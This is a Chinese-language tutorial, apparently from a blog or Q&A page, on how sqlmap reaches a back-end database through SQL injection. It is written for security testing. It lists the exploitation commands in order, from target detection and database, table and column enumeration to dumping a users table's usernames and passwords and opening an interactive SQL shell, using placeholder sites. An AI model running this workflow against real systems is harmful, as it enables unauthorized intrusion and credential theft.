sqlmap并不像数据库管理工具（如Navicat或DBeaver）那样直接使用IP、端口、用户名和密码来“连接”数据库，它的核心功能是自动化地探测和利用SQL注入漏洞，并通过这个漏洞与后端数据库进行“间接”的交互和通信，理解sqlmap如何连接数据库，首先需要理解它的工作原理：发现注入点，然后利用该点作为通道，整个“连接”过程，实质上是一个利用漏洞逐步获取数据库信息和权限的过程。
第一步：指定目标与检测注入点
这是sqlmap与目标数据库建立“联系”的第一步，用户需要提供一个可能存在SQL注入的URL地址或一个完整的HTTP请求文件，sqlmap会自动分析所有可能的注入点。
-
使用URL目标： 这是最常见的方式，用户只需提供一个带有参数的URL。
sqlmap -u "http://example.com/products.php?id=1"
sqlmap会自动测试
id参数是否存在SQL注入漏洞，如果发现，它会报告注入的类型（如Boolean-based blind、Time-based blind等）和后端数据库的类型（如MySQL, Oracle, PostgreSQL等）。 -
使用请求文件： 当目标请求非常复杂，包含大量Cookie、Header或需要特定方法（如POST）时，可以使用Burp Suite等工具截获请求，并保存为
.txt文件。sqlmap -r request.txt
这种方式更加灵活和精确,能确保sqlmap以与真实浏览器完全相同的方式发送请求。
第二步：识别后端数据库信息
一旦确认注入点存在,sqlmap就可以开始获取数据库的“身份信息”，这是“连接”过程的深化，标志着sqlmap已经成功与数据库建立起一条可以查询的通道。
-
获取所有数据库名称： 使用
--dbs参数，sqlmap会尝试列出当前数据库用户权限下可见的所有数据库。sqlmap -u "http://example.com/products.php?id=1" --dbs
执行后,你可能会看到类似
information_schema,test_db,shop_db这样的数据库名称列表。 -
获取当前数据库名称： 使用
--current-db参数，可以快速获取Web应用当前正在使用的数据库名称。
sqlmap -u "http://example.com/products.php?id=1" --current-db
第三步：深入枚举与数据提取
在知道了数据库的名字之后,就可以进一步“连接”到特定的数据库，并探索其内部结构，最终获取敏感数据，这个过程是层层递进的。
-
枚举指定数据库的表： 使用
-D参数指定数据库名，结合--tables参数来列出该数据库中的所有表。sqlmap -u "http://example.com/products.php?id=1" -D "shop_db" --tables
假设返回结果中有
users,products,orders等表名。 -
枚举指定表的列： 使用
-T参数指定表名，结合--columns参数来列出该表中的所有列。sqlmap -u "http://example.com/products.php?id=1" -D "shop_db" -T "users" --columns
你可能会看到
id,username,password,email等列名及其数据类型。 -
转存（Dump）数据： 这是最终目的，使用
-C参数指定列名，结合--dump参数来拖取具体的数据，如果省略-C，则会转存所有列的数据。sqlmap -u "http://example.com/products.php?id=1" -D "shop_db" -T "users" -C "username,password" --dump
执行完毕后,sqlmap会将获取到的用户名和密码数据保存在一个CSV文件中，这就是一次完整的“连接”并获取数据的过程。
执行自定义SQL查询：获取类Shell权限
sqlmap还提供了更强大的交互方式,让用户感觉像是直接“连接”上了数据库，可以执行任意的SQL语句。
-
执行单条SQL查询： 使用
--sql-query参数可以直接执行一条SQL语句并获取结果。
sqlmap -u "http://example.com/products.php?id=1" --sql-query="SELECT version()"
-
启动交互式SQL Shell： 这是最高级的“连接”形式，使用
--sql-shell参数，sqlmap会进入一个交互式命令行界面，你可以像在数据库客户端中一样，多次输入和执行SQL查询，直到手动退出。sqlmap -u "http://example.com/products.php?id=1" --sql-shell
进入后,你就可以直接输入
show tables;、select * from users where id=1;等命令，与数据库进行深度交互。
为了更好地理解上述核心参数,这里提供一个小编总结表格：
| 参数 | 功能描述 | 示例 |
|---|---|---|
-u <url> |
指定目标URL，最基础的用法 | -u "http://test.com/vuln.php?id=1" |
-r <request.txt> |
从文件加载HTTP请求进行测试 | -r post_request.txt |
--dbs |
列出所有数据库 | --dbs |
-D <db_name> |
指定要进行枚举的数据库名称 | -D "my_database" |
--tables |
列出指定数据库的所有表（需配合-D使用） | --tables |
-T <table_name> |
指定要进行枚举的表名称（需配合-D使用） | -T "users" |
--columns |
列出指定表的所有列（需配合-D, T使用） | --columns |
-C <col_name> |
指定要进行拖取的列名称（需配合-D, T使用） | -C "username,password" |
--dump |
拖取（导出）数据 | --dump |
--sql-query <query> |
执行自定义的SQL查询 | --sql-query="SELECT user()" |
--sql-shell |
启动一个交互式的SQL Shell | --sql-shell |
sqlmap“连接”数据库的过程是一个基于漏洞利用的、由浅入深的探测与提权过程，它始于一个简单的URL或请求文件，通过一系列自动化命令，最终实现对数据库的全面控制和数据获取，掌握其核心命令和工作流程，是有效使用sqlmap进行安全测试的关键。
相关问答 (FAQs)
问题1：我有一个数据库的IP、端口、用户名和密码，为什么sqlmap无法直接连接？ 回答： 这是对sqlmap工作原理的一个常见误解，sqlmap不是一个数据库客户端，它不使用标准的数据库连接协议（如MySQL的TCP/IP协议）进行直接连接，它的唯一“连接”方式是通过Web应用程序中存在的SQL注入漏洞，你需要找到一个可以被利用的Web页面作为“跳板”，sqlmap才能通过它与后端数据库进行通信，如果没有注入点，即使拥有正确的数据库凭据，sqlmap也毫无用处。
问题2：在使用sqlmap获取了数据库信息后，我能否执行任意SQL命令，比如UPDATE或DELETE？
回答： 理论上可以，但这完全取决于Web应用连接数据库时所使用的用户权限，如果该数据库用户具有写、删、改等高级权限，那么通过sqlmap的--sql-shell或--sql-query功能，你就可以执行相应的UPDATE, DELETE, INSERT等操作，出于安全考虑，大多数Web应用配置的数据库用户权限都较低（通常只有SELECT, INSERT, UPDATE, DELETE权限，而没有DROP TABLE或修改系统配置的权限），在进行任何写操作时，请务必获得授权，因为这可能会对目标系统造成不可逆的破坏。